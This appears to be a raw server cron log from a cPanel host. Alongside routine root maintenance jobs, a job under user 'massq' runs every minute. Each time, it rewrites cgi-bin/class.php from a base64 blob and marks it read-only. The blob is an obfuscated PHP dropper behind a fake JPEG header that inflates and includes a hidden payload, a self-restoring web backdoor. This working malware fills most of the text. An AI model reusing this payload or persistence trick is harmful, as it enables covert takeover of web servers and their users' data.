Sep 10 03:11:01 server CROND[13249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:11:01 server CROND[13250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:12:01 server CROND[13622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:12:01 server CROND[13623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:12:01 server CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:12:01 server CROND[13625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:13:01 server CROND[14020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:13:01 server CROND[14022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:13:01 server CROND[14021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:14:01 server CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:14:01 server CROND[14396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:14:01 server CROND[14397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:15:01 server CROND[14843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:15:01 server CROND[14844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:15:01 server CROND[14845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:15:01 server CROND[14855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:15:01 server CROND[14853]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:15:01 server CROND[14854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:15:01 server CROND[14858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:15:01 server CROND[14856]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 03:16:01 server CROND[15791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:16:01 server CROND[15792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:16:01 server CROND[15793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:17:01 server CROND[16175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:17:01 server CROND[16176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:17:01 server CROND[16177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:18:01 server CROND[16555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:18:01 server CROND[16556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:18:01 server CROND[16557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:19:01 server CROND[16976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:19:01 server CROND[16977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:19:01 server CROND[16978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:20:01 server CROND[17369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:20:01 server CROND[17371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:20:01 server CROND[17374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 03:20:01 server CROND[17376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:20:01 server CROND[17379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:20:01 server CROND[17378]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:20:01 server CROND[17375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:20:01 server CROND[17380]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 03:20:01 server CROND[17381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:21:01 server CROND[18314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:21:01 server CROND[18315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:21:01 server CROND[18316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:22:01 server CROND[18722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:22:01 server CROND[18723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 03:22:01 server CROND[18724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:23:01 server CROND[19109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
